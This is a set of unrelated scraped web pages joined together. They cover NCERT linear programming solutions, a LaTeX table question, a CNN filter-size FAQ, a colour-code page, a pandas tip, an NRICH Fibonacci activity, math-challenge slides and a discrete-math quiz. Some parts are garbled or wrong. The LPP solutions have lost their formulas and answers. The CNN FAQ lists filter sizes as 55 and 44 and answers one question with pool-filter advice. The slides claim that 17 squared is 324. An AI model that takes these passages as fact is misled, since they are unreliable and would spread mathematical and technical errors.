[ "# NCERT Class 12-Mathematics: Chapter – 12 Linear Programming Part 4 (For CBSE, ICSE, IAS, NET, NRA 2022)\n\nGlide to success with Doorsteptutor material for CBSE : fully solved questions with step-by-step explanation- practice your way to success.\n\n## Fill in the Blanks in Each of the Examples 9 and 10\n\nQuestion 9:\n\nIn a LPP, the linear function which has to be maximised or minimised is called a linear ________ function.\n\nAnswer:\n\nObjective\n\nQuestion 10:\n\nThe common region determined by all the linear constraints of a LPP is called the ________ region.\n\nAnswer:\n\nFeasible.\n\n### State Whether the Statements in Examples 11 and 12 Are True or False\n\nQuestion 11:\n\nIf the feasible region for a linear programming problem is bounded, then the objective function has both a maximum and a minimum value on R.\n\nAnswer: True\n\nQuestion 12:\n\nThe minimum value of the objective function in a linear programming problem always occurs at only one corner point of the feasible region.\n\nAnswer: False\n\nThe minimum value can also occur at more than one corner points of the feasible region.\n\n## 12.3 EXERCISE\n\n### Short Answer (S. A)\n\nQuestion 1:\n\nDetermine the maximum value of subject to the constraints: .\n\nAnswer:\n\nWe have, maximise\n\nSubject to the constraints\n\nWe see that, the feasible region as shaded determined by the system of constraint (ii) to (iv) is OABC and bounded. So, now we shall use corner point method to determine the maximum value of .", null, "Determine the Maximum Value of Z\n Corner Points Corresponding Value of Z\n\nHence, the maximum value of Z is 42 at\n\nQuestion 2:\n\nMaximise Z = 3x + 4y, subject to the constraints: .\n\nAnswer:\n\nGiven:\n\nIt is subject to constraints\n\nNow let us convert the given inequalities into equation.\n\nWe obtain the following equation\n\nThe region represented by :\n\nThe line meets the coordinate axes and respectively. We will join these points to obtain the line . It is clear that satisfies the inequation . So the region containing the origin represents the solution set of the in equation\n\nRegion represented by and is first quadrant, since every point in the first quadrant satisfies these in equations.\n\nPlotting these equations graphically, we get", null, "Plotting These Equations Graphically\n\nThe shaded region OBC shows the feasible region is bounded, so, maximum value will occur at a corner point of the feasible region.\n\nCorner Points are and .\n\nNow we will substitute these values in Z at each of these corner points, we get\n\n Corner Point Value of\n\nHence, the maximum value of Z is at the point ." ]
[ null, "https://www.flexiprep.com/NCERT-Exemplar-Solutions/Mathematics/Class-12/None", null, "https://www.flexiprep.com/NCERT-Exemplar-Solutions/Mathematics/Class-12/None", null ]
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https://tex.stackexchange.com/questions/262180/table-formatting-with-and-without-threeparttable
[ "# Table Formatting with and without threeparttable\n\nI have been trying to generate the attached table in LaTeX. I have done it in two ways and I have query for both. The first way I have not used the threeparttable package and in the second way I have used it. This is because while searching for help adding notes under the table, I came to know about threeparttable and this was almost when I was about to finish the first way.\n\nFirst I have a general question that how shall I format the text in first column which is not aligned to the left? I mean the text including the following items, (Petroleum, bituminous coal; brown coal etc). I guess there must be a better way of doing this as compared to the way I have done here in both the codes. I used \\ to include space until that text is in the position where I want it to be.\n\nIn the first code I cant write the second table note in a new line as shown in the original table. Any suggestion for it?\n\nIn the second code, I cant draw the \\hline after the second table note and above the last line of \"Source: Energy Balance.....\" Any suggestion for it?", null, "Here is the code one:\n\n\\documentclass{article}\n\\usepackage[utf8]{inputenc}\n\\usepackage{array, multirow}\n\\usepackage{caption,tabularx,booktabs}\n\n\\begin{document}\n\n\\begin{table}{\\bfseries Primary Energy Consumption}\\\\[0.1ex]\n\\setlength{\\extrarowheight}{1pt}\n\\begin{tabular*}{118 mm}{p{40mm}@{\\hspace{30mm}} llrr @{}}\n\n\\hline\nEnergy Source &1975 &1980 &1986\\\\[-0.1ex]\n\\hline\n\nTotal Consumption\\\\\n(in million tons of BCU$^{a}$) of which (percentages) \\parbox[t]{15mm} &347.7 &390.2 &285.0\\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ petroleum &52.1 &47.6 &43.2\\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ bituminous coal &19.1 &19.8 &20.0 \\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ brown coal &9.9 &10.0 &8.6 \\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ natural gas &14.2 &16.5 &15.1 \\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ nuclear energy &2.0 &3.7 &10.1 \\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ other$^{b}$ &2.7 &2.4 &3.0 \\\\ \\cline{1-1}\n\n\\multicolumn{4}{p{.9\\textwidth}}{$^{a}$BCU = Bituminous Coal Unit (1 ton BCU corresponds to the heating equivalent of 1 ton of bituminous coal = 8140 kwh) $^{b}$Wind, water, solar energy, etc.}\n\\\\\n\\hline\n\n\\end{tabular*}\\\\[0.1ex]\n\n\\emph{Source:} Energy Balance Study Group, Essen 1987.\n\n\\end{table}\n\n\\end{document}\n\n\nHere is the second code;\n\n\\documentclass{article}\n\\usepackage[utf8]{inputenc}\n\\usepackage{array, multirow}\n\\usepackage{caption,booktabs}\n\\usepackage[flushleft]{threeparttable}\n\n\\begin{document}\n\n\\begin{table}\n\\begin{threeparttable}\n\\caption{Primary Energy Consumption}\n\n\\begin{tabular*}{118 mm}{p{40mm}@{\\hspace{30mm}} llrr @{}}\n\\toprule\n\nEnergy Source &1975 &1980 &1986\\\\[-0.1ex]\n\n\\midrule\n\nTotal Consumption\\\\\n(in million tons of BCU$^{a}$) of which (percentages) \\parbox[t]{15mm} &347.7 &390.2 &285.0\\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ petroleum &52.1 &47.6 &43.2\\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ bituminous coal &19.1 &19.8 &20.0 \\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ brown coal &9.9 &10.0 &8.6 \\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ natural gas &14.2 &16.5 &15.1 \\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ nuclear energy &2.0 &3.7 &10.1 \\\\\n\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ other$^{b}$ &2.7 &2.4 &3.0 \\\\\n\\bottomrule\n\n\\end{tabular*} %\\\\[0.1ex]\n\n\\begin{tablenotes}\n\n\\small\n\\item $^{a}$BCU = Bituminous Coal Unit (1 ton BCU corresponds to the heating equivalent of 1 ton of bituminous coal = 8140 kwh\n\n\\item $^{b}$Wind, water, solar energy, etc.\n\\end{tablenotes}\n\n\\emph{Source:} Energy Balance Study Group, Essen 1987.\n\n\\end{threeparttable}\n\n\\end{table}\n\\end{document}\n\n\nI would do it like this:\n\n% arara: pdflatex\n\n\\documentclass{article}\n\\usepackage[utf8]{inputenc}\n\\usepackage{caption,booktabs}\n\\usepackage[flushleft]{threeparttable}\n\\usepackage{siunitx}\n\n\\begin{document}\n\\begin{table}\n\\centering\n\\begin{threeparttable}\n\\caption[Primary Energy Consumption]{Primary Energy Consumption (\\emph{Source:} Energy Balance Study Group, Essen 1987.)}\n\\begin{tabular}{p{1.5cm}l*{3}{S[table-format=3.1]}} % adapt the tabbing width with the p column!\n\\toprule\n\\multicolumn{2}{l}{Energy Source} & {1975} & {1980} & {1986} \\\\\n\\midrule\n\\multicolumn{2}{l}{Total Consumption} & & & \\\\\n\\multicolumn{2}{l}{(in million tons of BCU\\tnote{a}~)} & 347.7 & 390.2 & 285.0 \\\\\n\\multicolumn{2}{l}{of which (percentages)} & & & \\\\\n& petroleum & 52.1 & 47.6 & 43.2 \\\\\n& bituminous coal & 19.1 & 19.8 & 20.0 \\\\\n& brown coal & 9.9 & 10.0 & 8.6 \\\\\n& natural gas & 14.2 & 16.5 & 15.1 \\\\\n& nuclear energy & 2.0 & 3.7 & 10.1 \\\\\n& other\\tnote{b} & 2.7 & 2.4 & 3.0 \\\\\n\\bottomrule\n\\end{tabular}\n\\begin{tablenotes}\n\\small\n\\item[a] BCU = Bituminous Coal Unit (\\SI{1}{\\tonne} BCU corresponds to the heating equivalent of \\SI{1}{\\tonne} of bituminous coal $= \\SI{8140}{\\kilo\\watt\\hour}$\n\\item[b] Wind, water, solar energy, etc.\n\\end{tablenotes}\n\\end{threeparttable}\n\\end{table}\n\\end{document}\n\n\nI hope the code is self-explaining.", null, "Edit: Or if you want to have the \"(percentages)\" aligned to the rows below (thanks to Enrico):\n\n\\begin{table}\n\\centering\n\\begin{threeparttable}\n\\caption[Primary Energy Consumption]{Primary Energy Consumption (\\emph{Source:} Energy Balance Study Group, Essen 1987.)}\n\\begin{tabular}{l@{\\hspace{.4cm}}l*{3}{S[table-format=3.1]}} % adapt the tabbing width with the \\hspace\n\\toprule\n\\multicolumn{2}{l}{Energy Source} & {1975} & {1980} & {1986} \\\\\n\\midrule\n\\multicolumn{2}{l}{Total Consumption} & & & \\\\\n\\multicolumn{2}{l}{(in million tons of BCU\\tnote{a}~)} & 347.7 & 390.2 & 285.0 \\\\\nof which & (percentages) & & & \\\\\n& petroleum & 52.1 & 47.6 & 43.2 \\\\\n& bituminous coal & 19.1 & 19.8 & 20.0 \\\\\n& brown coal & 9.9 & 10.0 & 8.6 \\\\\n& natural gas & 14.2 & 16.5 & 15.1 \\\\\n& nuclear energy & 2.0 & 3.7 & 10.1 \\\\\n& other\\tnote{b} & 2.7 & 2.4 & 3.0 \\\\\n\\bottomrule\n\\end{tabular}\n\\begin{tablenotes}\n\\small\n\\item[a] BCU = Bituminous Coal Unit (\\SI{1}{\\tonne} BCU corresponds to the heating equivalent of \\SI{1}{\\tonne} of bituminous coal $= \\SI{8140}{\\kilo\\watt\\hour}$\n\\item[b] Wind, water, solar energy, etc.\n\\end{tablenotes}\n\\end{threeparttable}\n\\end{table}\n\n• Maybe the first two columns could be specified as l@{ }l and the third row can start with of which & (percentages), so as to get the same alignment as in the OP's image (with better spacing). – egreg Aug 19 '15 at 16:11\n• @LariFaRi Thanks. I was not aware of siunitx package but you have introduced it to me. Many Many thanks for the help – Jack Aug 19 '15 at 16:44" ]
[ null, "https://i.stack.imgur.com/Dk3KI.jpg", null, "https://i.stack.imgur.com/pfyDT.png", null ]
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https://www.howtouninstallmy.com/what-should-be-the-filter-size-in-cnn/
[ "# What should be the filter size in CNN?\n\nThe conv layers should use small filters and padding the input volume with zeros in such a way that the conv layer does not alter the spatial dimensions of the input. The original size of the input will be retained when F=3 and P-1 are used.\n\n## What is the best filter size for CNN?\n\nThe CNN with 55, 44, and 55 filter sizes in the three convolutional layer has the best performance on 4242 input images.\n\n## What is the size of filter in CNN?\n\nThe dimensions of a filter are kkC. One of the C channels of the input will be convolved with one of the C kernels that composes a filter.\n\n## How do I choose a filter size?\n\nThe flow rate of the filter must be the same as your pump. The bigger the pool filters, the better they can handle the power of your pump. A good rule of thumb is to choose a filter with at least 1 square foot per 10,000 gallons pool capacity.\n\n## How does CNN calculate number of filters?\n\nThere are 3 answers to this question. The number of filters is the number of neurons, since each neuron performs a different convolution on the input to the layer\n\n## How many filters should a CNN have?\n\nConvolutional neural networks can learn multiple features in parallel for a given input. For example, a convolutional layer learns from 32 to 512 filters in parallel for a given input.\n\n## Why does CNN increase number of filters?\n\nThe higher the number of filters, the higher the number of abstractions that your Network is able to extract from image data. The number of filters tends to go up because the Network gets raw data at the input layer. For image data, raw data is always noisy.\n\n## How do CNN filters work?\n\nMultiple filters are taken to slice through the image and map it one by one and learn different parts of the image. Imagine a small filter moving left to right across the image, looking for a dark edge." ]
[ null ]
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https://www.colorhexa.com/281d87
[ "#281d87 Color Information\n\nIn a RGB color space, hex #281d87 is composed of 15.7% red, 11.4% green and 52.9% blue. Whereas in a CMYK color space, it is composed of 70.4% cyan, 78.5% magenta, 0% yellow and 47.1% black. It has a hue angle of 246.2 degrees, a saturation of 64.6% and a lightness of 32.2%. #281d87 color hex could be obtained by blending #503aff with #00000f. Closest websafe color is: #333399.\n\n• R 16\n• G 11\n• B 53\nRGB color chart\n• C 70\n• M 79\n• Y 0\n• K 47\nCMYK color chart\n\n#281d87 color description : Dark blue.\n\n#281d87 Color Conversion\n\nThe hexadecimal color #281d87 has RGB values of R:40, G:29, B:135 and CMYK values of C:0.7, M:0.79, Y:0, K:0.47. Its decimal value is 2628999.\n\nHex triplet RGB Decimal 281d87 `#281d87` 40, 29, 135 `rgb(40,29,135)` 15.7, 11.4, 52.9 `rgb(15.7%,11.4%,52.9%)` 70, 79, 0, 47 246.2°, 64.6, 32.2 `hsl(246.2,64.6%,32.2%)` 246.2°, 78.5, 52.9 333399 `#333399`\nCIE-LAB 20.357, 38.849, -56.797 5.687, 3.079, 23.215 0.178, 0.096, 3.079 20.357, 68.812, 304.372 20.357, -2.817, -63.593 17.547, 27.144, -66.161 00101000, 00011101, 10000111\n\nColor Schemes with #281d87\n\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #7c871d\n``#7c871d` `rgb(124,135,29)``\nComplementary Color\n• #1d4787\n``#1d4787` `rgb(29,71,135)``\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #5d1d87\n``#5d1d87` `rgb(93,29,135)``\nAnalogous Color\n• #47871d\n``#47871d` `rgb(71,135,29)``\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #875d1d\n``#875d1d` `rgb(135,93,29)``\nSplit Complementary Color\n• #1d8728\n``#1d8728` `rgb(29,135,40)``\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #87281d\n``#87281d` `rgb(135,40,29)``\n• #1d7c87\n``#1d7c87` `rgb(29,124,135)``\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #87281d\n``#87281d` `rgb(135,40,29)``\n• #7c871d\n``#7c871d` `rgb(124,135,29)``\n• #150f48\n``#150f48` `rgb(21,15,72)``\n• #1c145d\n``#1c145d` `rgb(28,20,93)``\n• #221872\n``#221872` `rgb(34,24,114)``\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #2e229c\n``#2e229c` `rgb(46,34,156)``\n• #3426b1\n``#3426b1` `rgb(52,38,177)``\n• #3b2bc6\n``#3b2bc6` `rgb(59,43,198)``\nMonochromatic Color\n\nAlternatives to #281d87\n\nBelow, you can see some colors close to #281d87. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #1d2d87\n``#1d2d87` `rgb(29,45,135)``\n• #1d2487\n``#1d2487` `rgb(29,36,135)``\n• #1f1d87\n``#1f1d87` `rgb(31,29,135)``\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #311d87\n``#311d87` `rgb(49,29,135)``\n• #3a1d87\n``#3a1d87` `rgb(58,29,135)``\n• #421d87\n``#421d87` `rgb(66,29,135)``\nSimilar Colors\n\n#281d87 Preview\n\nThis text has a font color of #281d87.\n\n``<span style=\"color:#281d87;\">Text here</span>``\n#281d87 background color\n\nThis paragraph has a background color of #281d87.\n\n``<p style=\"background-color:#281d87;\">Content here</p>``\n#281d87 border color\n\nThis element has a border color of #281d87.\n\n``<div style=\"border:1px solid #281d87;\">Content here</div>``\nCSS codes\n``.text {color:#281d87;}``\n``.background {background-color:#281d87;}``\n``.border {border:1px solid #281d87;}``\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #020106 is the darkest color, while #f6f5fd is the lightest one.\n\n• #020106\n``#020106` `rgb(2,1,6)``\n• #070516\n``#070516` `rgb(7,5,22)``\n• #0b0826\n``#0b0826` `rgb(11,8,38)``\n• #100c36\n``#100c36` `rgb(16,12,54)``\n• #150f46\n``#150f46` `rgb(21,15,70)``\n• #1a1357\n``#1a1357` `rgb(26,19,87)``\n• #1e1667\n``#1e1667` `rgb(30,22,103)``\n• #231a77\n``#231a77` `rgb(35,26,119)``\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #2d2097\n``#2d2097` `rgb(45,32,151)``\n• #3224a7\n``#3224a7` `rgb(50,36,167)``\n• #3627b7\n``#3627b7` `rgb(54,39,183)``\n• #3b2bc8\n``#3b2bc8` `rgb(59,43,200)``\n• #4433d3\n``#4433d3` `rgb(68,51,211)``\n• #5243d7\n``#5243d7` `rgb(82,67,215)``\n• #6153da\n``#6153da` `rgb(97,83,218)``\n• #7063de\n``#7063de` `rgb(112,99,222)``\n• #7f74e1\n``#7f74e1` `rgb(127,116,225)``\n• #8e84e5\n``#8e84e5` `rgb(142,132,229)``\n• #9d94e8\n``#9d94e8` `rgb(157,148,232)``\n• #aba4eb\n``#aba4eb` `rgb(171,164,235)``\n• #bab4ef\n``#bab4ef` `rgb(186,180,239)``\n• #c9c4f2\n``#c9c4f2` `rgb(201,196,242)``\n• #d8d4f6\n``#d8d4f6` `rgb(216,212,246)``\n• #e7e5f9\n``#e7e5f9` `rgb(231,229,249)``\n• #f6f5fd\n``#f6f5fd` `rgb(246,245,253)``\nTint Color Variation\n\nTones of #281d87\n\nA tone is produced by adding gray to any pure hue. In this case, #504f55 is the less saturated color, while #1404a0 is the most saturated one.\n\n• #504f55\n``#504f55` `rgb(80,79,85)``\n• #4b495b\n``#4b495b` `rgb(75,73,91)``\n• #464361\n``#464361` `rgb(70,67,97)``\n• #413d67\n``#413d67` `rgb(65,61,103)``\n• #3c366e\n``#3c366e` `rgb(60,54,110)``\n• #373074\n``#373074` `rgb(55,48,116)``\n• #322a7a\n``#322a7a` `rgb(50,42,122)``\n• #2d2381\n``#2d2381` `rgb(45,35,129)``\n• #281d87\n``#281d87` `rgb(40,29,135)``\n• #23178d\n``#23178d` `rgb(35,23,141)``\n• #1e1094\n``#1e1094` `rgb(30,16,148)``\n• #190a9a\n``#190a9a` `rgb(25,10,154)``\n• #1404a0\n``#1404a0` `rgb(20,4,160)``\nTone Color Variation\n\nColor Blindness Simulator\n\nBelow, you can see how #281d87 is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population" ]
[ null ]
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http://learningbydoing.io/python-3-pandas-dataframe-finding-rows-maximum-value-columns-pandas-using-idxmax/?utm_source=rss&utm_medium=rss&utm_campaign=python-3-pandas-dataframe-finding-rows-maximum-value-columns-pandas-using-idxmax
[ "## Python 3 | Pandas DataFrame | Finding rows of Maximum value for each Columns in Pandas using .idxmax()", null, "In order to get rows or row IDs of Dataframe having maximum values for each column, Pandas DataFrame’s .idxmax() is used.\n\n.idxmax() returns Row Ids of Maximum values of each column of a DataFrame.\n\nWe are not using .max() here because .max() returns the actual value rather then the row in which that value resides. At times it’s useful to have a look at the whole row of a DataFrame where a column’s max value is present. Thats where .idxmax() is useful.\n\nSyntax:\nDataFrame.idxmax(axis=0, skipna=True)\n\nParameters :\naxis : 0 or ‘index’ for row-wise, 1 or ‘columns’ for column-wise\nskipna : Exclude NA/null values. If an entire row/column is NA, the result will be NA\n\nReturns : idxmax : Series\n\nFollowing is the code with comments, description and results of the commands to be run in Python 3 for using .idxmax() to get row ids of maximum values for each column:" ]
[ null, "http://learningbydoing.io/wp-content/uploads/2019/05/Title_Pandas DataFrame idxmax for maximum values rows2.png", null ]
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https://nrich.maths.org/2683/note
[ "#### You may also like", null, "### Room Doubling\n\nInvestigate the different ways you could split up these rooms so that you have double the number.", null, "### Fibonacci's Three Wishes 2\n\nSecond of two articles about Fibonacci, written for students.", null, "### Leonardo of Pisa and the Golden Rectangle\n\nLeonardo who?! Well, Leonardo is better known as Fibonacci and this article will tell you some of fascinating things about his famous sequence.\n\n# Sheep Talk\n\n## Sheep Talk", null, "In sheep talk the only letters used are B and A. Sequences of words are formed as follows:\n\nThe first word only contains the single letter A.\n\nTo get the next word in the sequence change each A in the previous word into B and each B in the previous word into AB.\n\nWrite down the first ten words in this sequence.\n\nCount the number of A's in each word in the sequence. Then count the number of B's in each word in the sequence. Finally count the number of letters in each word in the sequence. You now have three sequences of numbers. What do you notice? Will the same patterns continue if you generate longer sequences of words?\n\nWhy do this problem?\nDoing this investigation learners notice patterns and make and prove conjectures. It offers one of the best ways for learners to discover Fibonacci sequences for themselves. Whether or not they have already met these sequences it is important to ask whether the pattern will continue and, more importantly, why it will continue?\n\nLearners will notice that the same sequences of numbers occur when they count the number of A's in the words, when they count the number of B's in the words and also when they count the total number of letters.The teacher could simply get the learners to count the letters, fill in a table, make conjectures about how many A's and B's in the next word and then check if their conjectures were correct. Then she can choose how long to pursue the reasons and the proof that the sequences are Fibonacci sequences.\n\nFor the proof of why this process gives the Fibonacci sequence you have to consider how the letters change from one word to the next and generate copies of themselves. This can lead to a lot of mathematical talk and it can give excellent practice in mathematical reasoning and communication.\n\nPossible approach\nAs with all problem solving, the first step is to understand the question. If the teacher asks the learners to read the question for themselves and then to tell her the rule it will give the learners practice in thinking for themselves. Asking the learners to write the next word on their individual 'show-me boards' ensures that every learner is actively involved. A list of about six words should be written down and then a table of results set up and the numbers of letters filled in the table.\n\nLearners can each fill in their own tables and be asked to work in pairs to see what patterns they can spot. When they see a pattern (conjecture) they should be asked to use the Sheep Rule to write down some more words in the sequence and see if the pattern continues (test the conjecture). If they find it does then learners should be asked to try to explain why the pattern comes out that way.\n\nLearners can be asked to write down the rule for the sequence in words and then perhaps if they can use symbols to give the rule. At this age the teacher may simply accept the different notations offered by the class members or choose to discuss with the class why it is convenient to have an agreed (standard) notation. This could lead comfortably to using algebraic notation as only counting is involved and not solving equations, which is perhaps more demanding.\n\n(The Fibonacci sequence can be defined as the sequence where the $n$th term is denoted by $F_n$, where $F_0$ and $F_1$ are $0$ or $1$ and $F_n=F_{n-1}+F_{n-2}$.)\n\nKey questions\nDo you notice a pattern in the sequence of numbers?\nHow many A's do you think there will be in the next word (that you have not written down yet)?\nWould you like to write down the next word in the list and see if you were right?\nLook at an A in a word. How many A's come from it in the next word and in the word after that?\nHow many A's in a word come from an AB in the word before it?\nHow do you find the number of A's in the tenth word? Why?\nWould you have to write the whole list of 20 words to find out how many A's there would be in the twentieth word?" ]
[ null, "https://nrich.maths.org/content/00/02/bbprob1/icon.jpg", null, "https://nrich.maths.org/content/id/2470/icon.jpg", null, "https://nrich.maths.org/content/id/2563/icon.png", null, "https://nrich.maths.org/content/id/2683/sheep.gif", null ]
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https://studyres.com/doc/8460879/math-challenge-power-point
[ "Document related concepts\n\nMathematical anxiety wikipedia, lookup\n\nTranscript\n```Math Challenge\nMath Challenge\n1. Hailey added the product of\n9 and 12 to the product of 7\nand 5. She then subtracted the\nproduct of 4 and 6 from the\nresult. What was her final\nMath Challenge\nMath Challenge\n2. Set A = {B, R,E,A,K,S}\nSet B = {R, A, I, S, E,D}\nHow many proper\nsubsets does A ∩ B\ncontain ?\nMath Challenge\n15\nHint: Find the letters in common. Count them. Use this\nnumber as the exponent of 2. Two to the 4th power results\nin 16 subsets. Subtract one to get the number of proper\nsubsets.\nMath Challenge\nWhat is the area\nof a rhombus with\ndiagonals of 10 cm\nand 28 cm ?\n3.\nMath Challenge\n140\nThe area of a rhombus equals the product of the diagonals\ndivided by 2.\nMath Challenge\n4. Two numbers are\nrelatively prime if their\nonly common factor is one.\nHow many positive integers\nless than 21 are relatively\nprime to 21 ?\nMath Challenge\n12\nFor the #15, eliminate all multiples of 3 and 7.\nMath Challenge\n5. What is the area of\na triangle with a\nbase of fourteen and\na height of ten?\n√49\nMath Challenge\n70\nThe area of a triangle is base times height divided by 2.\nMath Challenge\n6. On a 12-hour clock, what\nis the measure of the acute\nangle between the hour and\nminute hand at 4:30?\nMath Challenge\n45 degrees\nA circle contains 360 degrees. There are 12 hours on the\nface of the clock. Divide 360 by 12, so 30 degrees separate\neach number on the clock. At 4:30, the minute hand points\nto the 6, and the hour hand is exactly half-way between the\n4 and the 5. So, 30+15 = 45.\nMath Challenge\n7. Subtract the cube of\nfive from the square of\n17. The result is 6 less\nthan ____ .\nMath Challenge\n170\nHint: Cube means “to the third power.” Square means “to\nthe second power.”\nMath Challenge\nWhat is the\nunits digit of 4\nth\nto the 97\npower?\n8.\nMath Challenge\n4\nHint: Write the first four powers of 4, which are 4, 16, 64,\nand 256. Notice that 4 and 6 repeat, so every odd power\nwould end in a 4 and every even power would end in a 6.\nThe units digit is another name for the one's place.\nMath Challenge\n9. If A#B = 14 x A + B - 2\nthen what is the\nvalue of 8#17 ?\nMath Challenge\n127\nHint: Substitute 8 for A and 17 for B.\nMath Challenge\n10.\nWhat is the\nleast common\nmultiple of 16\nand 18?\nMath Challenge\n144\nHint: The least common multiple (LCM) is the first\nmultiple that occurs on both lists of multiples. List the\nmultiples of 16 and 18. The first multiple on both lists is\n144.\nShortcut: The LCM = (the product of the numbers)\ndivided by the GCF\nMath Challenge\nHow many\nprime numbers are\nbetween 1 and 80?\n11.\nMath Challenge\n22\nThere are 25 primes between 1 and 100. Fifteen of these\nare between 1 and 50. Ten of these are between 51 and 100.\n97, 89, and 83 are prime, so 25 – 3 = 22.\nMath Challenge\nWhat is the sum\nof the perimeters of\n4 triangles and 5\nsquares if all sides\nmeasure 6 inches?\n12.\nMath Challenge\n192\nThe perimeter of a polygon is the sum of the lengths of its\nsides.\nMath Challenge\n13. 67.5 hm = _____ dm\nMath Challenge\nKing Henry Doesn't Mind Drinking Chocolate Milk\nKm, hm, dam, meter, dm, cm, mm\nMath Challenge\n14. What is the sum of the\nfactors of 120 ?\nMath Challenge\nHint: The prime factorization of\n120 is 2³ x 3 x 5. To find the sum,\n(2³+2²+2+2°)x(3+3°)x(5+5°), which\nis 15x4x6 which equals 360. You\ncould also just write the 16 factors\nMath Challenge\n15. What is product of the\nunits digit and the tens\ndigit of 54,702 ?\nMath Challenge\n0\nMath Challenge\n16. What is the prime\nfactorization of 280 ?\nMath Challenge\npower times five to the first\npower times seven to the\nfirst power.\nMake a factor tree for 280.\nMath Challenge\n17. What is the\nperimeter of a square\nwith an area of 289\nsquare inches ?\nMath Challenge\nHint: 289 is a perfect square. 17²=324, so each side of\nthe square is 17. The perimeter is 68.\nMath Challenge\n18. If f(M) = 4M + 12,\nwhat is the value of\nf(15) ?\nMath Challenge\nHint: Substitute 15 for the letter M. The expression 3M\nmeans 3 times M. In algebra, when a number is directly\nbeside a letter, it indicates multiplication.\nMath Challenge\n19. If 12 men can make 60\nwidgets in 3 days, how\nmany men will need to\nwork at the same rate to\nmake 20 widgets in 6 days?\nMath Challenge\nHint: Multiply 12 x 3 = 36. It takes 36 man-days to\nproduce 60 widgets. Therefore, it only takes 12 man-days\nto make 20 widgets. So, 6 days times 2 men would equal 12\nman days. The answer is 2.\nMath Challenge\n20. Which of these is an\nirrational number:\nA: 6.7389\nB: the square root of 144\nC: 3/5\nD: π\nMath Challenge\nAn irrational number is not an integer and not a fraction.\nAn irrational number can be represented by a decimal\nvalue that is never ending and never repeats a pattern.\nA,B, and C are rational. Only D is irrational.\nMath Challenge\nTHE END\nMath Challenge\nMath Challenge\n22.\nMath Challenge\nMath Challenge\n23.\nMath Challenge\nMath Challenge\n24.\nMath Challenge\nMath Challenge\n25.\nMath Challenge\nMath Challenge\n26.\nMath Challenge\nMath Challenge\n27.\nMath Challenge\nMath Challenge\n28.\nMath Challenge\nMath Challenge\n29.\nMath Challenge\nMath Challenge\n30.\nMath Challenge\nMath Challenge\n31.\nMath Challenge\nMath Challenge\n32.\nMath Challenge\nMath Challenge\n33.\nMath Challenge\nMath Challenge\n34.\nMath Challenge\nMath Challenge\n35.\nMath Challenge\nMath Challenge\n36.\nMath Challenge\nMath Challenge\n37.\nMath Challenge\nMath Challenge\n38.\nMath Challenge\nMath Challenge\n39.\nMath Challenge\nMath Challenge\n40.\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge\nMath Challenge" ]
[ null ]
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https://www.gkseries.com/discrete-mathematics/multiple-choice-questions-and-answers
[ "", null, "", null, "8000+ STATIC GK MCQs for SSC/ Railway/ PSC\n1000 POLITICAL SCIENCE MCQS | EBook\nGet 22 nos. GK EBooks | Combo Pack\nCurrent Affairs Monthly Magazine -Subscribe Now!\n1000 BIOLOGY MCQS AND ANSWERS | EBook\n1000 ECONOMICS MCQS FOR EXAMS | EBook\nMughal Empire MCQs | EBook\nECONOMIC GEOGRAPHY MCQs | EBook\n350 MCQs ON INDIAN CONSTITUTION | EBook\n\n# Discrete Mathematics - Questions & Answers for Competitive Exams | GkSeries\n\nQuestions\n1. If P then Q is called _________ statement\n• [A] Conjunction\n• [B] disjunction\n• [C] conditional\n• [D] bi conditional\n\n2. A relation R in a set X is symmetric if _______\n• [A] xRy, yRz => xRz.\n• [B] xRy\n• [C] xRy=>yRx\n• [D] xRx\n\n3. If R is reflexive, symmetric and transitive then the relation is said to be ________.\n• [A] Binary relation\n• [B] Compatibility relation\n• [C] Equivalence relation\n• [D] Partial order relation\n\n4. If there are more than 2 LMD for a string then it is said to be ___________.\n• [A] Ambigious\n• [B] unambigious\n• [C] language\n• [D] finite state automata\n\n5. The specification of proper construction of a sentence is called ________.\n• [A] alphabet\n• [B] letter\n• [C] syntax\n• [D] word\n\n6. Context free grammar is also known as _______ grammar.\n• [A] type 0\n• [B] type 1\n• [C] type 2\n• [D] type 3\n\n7. Accepting states are denoted by ________.\n• [A] circle\n• [B] an arrow mark\n• [C] double circle\n• [D] straight line\n\n8. The set of all finite words over E is denoted by ________.\n• [A] E+\n• [B] E*\n• [C] 